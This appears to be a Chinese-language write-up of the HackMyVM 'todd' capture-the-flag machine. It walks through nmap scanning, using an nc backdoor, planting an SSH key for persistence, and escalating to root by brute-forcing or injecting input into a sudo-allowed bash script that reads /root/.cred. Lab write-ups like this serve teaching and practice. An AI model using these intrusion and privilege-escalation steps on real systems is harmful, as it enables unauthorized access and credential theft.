HackMyVM - todd

admin 2025年5月30日12:57:05评论33 views字数 2531阅读8分26秒阅读模式

镜像资源

去官网下载:https://hackmyvm.eu/

或者在公众号内发送todd直接获取镜像资源

信息收集

netdiscover & nmap

netdiscover -i eth1 /r 192.168.56.0/24

 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------                                                        
 192.168.56.103  08:00:27:02:e7:cb      1      60  PCS Systemtechnik GmbH 

nmap --min-rate 10000 -A 192.168.56.103

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_  256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
80/tcp    open  http       Apache httpd 2.4.59 ((Debian))
|_http-title: Mindful Listening
|_http-server-header: Apache/2.4.59 (Debian)
7066/tcp  open  unknown
9457/tcp  open  tcpwrapped
16844/tcp open  tcpwrapped
16911/tcp open  tcpwrapped
19628/tcp open  tcpwrapped
20283/tcp open  tcpwrapped
21876/tcp open  tcpwrapped
22791/tcp open  tcpwrapped
23093/tcp open  tcpwrapped
30215/tcp open  tcpwrapped

nc & getshell

7066端口可以nc连上 -> 得到user.txt

HackMyVM - todd
todd00

privilege

这个nc连上之后不久就会断开 -> 写入ssh公钥

在自己的机器上通过 ssh-keygen 生成一对密钥 id_ed25519  id_ed25519.pub
将公钥内容上传至目标机的 ~/.ssh/authorized_keys 文件下
该目录对权限十分敏感 - 要求
 .ssh目录 700
 authorized_keys 600
ssh连接
再通过python生成伪终端

ssh -i ~/.ssh/id_ed25519 [email protected]

python3 -c 'import pty;pty.spawn("/bin/bash")'

HackMyVM - todd
todd02

sudo -l

HackMyVM - todd
todd01
发现了这个 (ALL : ALL) NOPASSWD: /bin/bash /srv/guess_and_check.sh

接下来就要从这个/srv/guess_and_check.sh脚本入手

# check this script used by human 
a=$((RANDOM%1000))
echo"Please Input [$a]"

echo"[+] Check this script used by human."
echo"[+] Please Input Correct Number:"
read -p ">>>" input_number

[[ $input_number -ne "$a" ]] && exit 1

sleep 0.2
true_file="/tmp/$((RANDOM%1000))"
sleep 1
false_file="/tmp/$((RANDOM%1000))"

[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2

RANDOM:在bash中,RANDOM是一个特殊的变量 -> 返回0~32767之间的随机整数

变量a就是0~999中间的一位数 -> 且告诉我们是什么

然后read -p ">>>" input_number 等待输入且赋值给input_number变量

检查/tmp目录下是否存在一个$((RANDOM%1000))为名的文件

如果 存在 且 不存在 就会 cat /root/.cred  -> 注意:$((RANDOM%1000))是随机值

可以生成大量的文件,然后去不断运行sudo /bin/bash /srv/guess_and_check.sh,来碰运气

HackMyVM - todd
todd04
HackMyVM - todd
todd03

靶机的作者提供的方法:

read -p ">>>" input_number
[[ $input_number -ne "$a" ]] && exit 1
# read 输入值 直接赋值给了 input_numebr -> 如果输入 a
# $a -ne "$a"
HackMyVM - todd
todd05

总结

todd => 大黑客
80端口 -> 目录扫描 -> tools => 指向黑客攻击掉了网站 放入的自己的工具 -> 所以有了直接nc连接 -> 后门
多次nmap探测端口[ nmap提示closed ] -> 找到了端口 nc 连接成功

sudo -l -> 提权 -> 暴力 或者 注入[ 不同类型做比较之间的转换存在的问题 ]

靶机作者复盘思路:https://www.bilibili.com/video/BV1s5XaYMEgR/?share_source=copy_web&vd_source=e68972c88b84314ddb5939058de3405e

原文始发于微信公众号(夜风Sec):HackMyVM - todd

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日12:57:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackMyVM - toddhttps://cn-sec.com/archives/3942533.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息